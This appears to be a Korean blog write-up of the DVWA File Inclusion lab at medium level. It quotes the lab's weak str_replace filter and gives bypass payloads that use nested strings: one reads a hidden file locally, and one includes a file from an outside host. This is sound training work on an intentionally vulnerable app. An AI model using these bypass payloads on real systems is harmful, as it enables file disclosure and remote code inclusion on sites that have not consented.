DVWA | File Inclusion | medium

728x90

File Inclusion

  • 외부 파일을 서버에 포함시켜 코드 실행이나 데이터 유출을 하는 공격

DVWA File Inclusion 페이지는 위 사진과 같이 세 개의 파일이 보인다.

file1.php: 현재 계정의 usernameIP를 출력하는 파일
file2.php: 특정 메시지(Nick Helm의 말)가 그대로 출력된 파일
file3.php: 현재 계정의 usernameIP, user-agent 출력하는 파일

 

 

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

DVWA 깃허브에서 코드를 보면 URL 파라미터로 page 값을 가져와 file 변수에 저장하고,
http://https://, ../, ..\\를 제거하여 외부 URL을 참조하지 못하도록, 그리고 Directory Traversal 공격을 막고 있는 것으로 보인다.

 

if( isset( $file ) )
    include( $file );

또한, index.php를 보면 include() 함수를 사용하여 사용자의 입력이 아무런 필터링 없이 사용되는 걸 볼 수 있었다.

http://https://, ../, ..\\에 대한 필터링 코드가 구현되어있지만, 단순히 해당 문자열을 제거하고 있으니, http://의 경우 htthttp://p://와 같이 입력하면 중간의 http://만 제거될 것이고, ../의 경우도 마찬가지로 ....//와 같이 입력하면 중간의 ../만 제거될 것이다.

 

 

[ LFI (Local File Inclusion) ]

깃허브 코드를 보면 file4.php도 존재하고 있으니, 필터링을 우회해서 file4.php를 읽으려 한다.

URL 파라미터로 ?page=....//fi/file4.php를 입력해주었고, 숨겨져있던 file4.php 파일을 읽을 수 있었다.

 

 

[ RFI (Remote File Inclusion) ]

외부 서버의 파일을 포함시키는 공격을 하기 위해 CSRF 에서 사용했던 호스팅 서버에 rfi.txt 파일을 추가해주었다.

 

http:// 또한 필터링 우회를 하여 URL 파라미터에 ?page=httphttp://://wxuycea.github.io/localhost/rfi.txt를 입력해주었고, 페이지 상단에 rfi.txt 파일의 내용이 출력된 걸 볼 수 있었다.

728x90

'DVWA' 카테고리의 다른 글

DVWA | Insecure CAPTCHA | medium  (1) 2024.11.20
DVWA | File Upload | medium  (0) 2024.11.20
DVWA | CSRF | medium  (2) 2024.11.19
DVWA | Command Injection | medium  (0) 2024.11.19
DVWA | Brute Force | medium  (0) 2024.11.19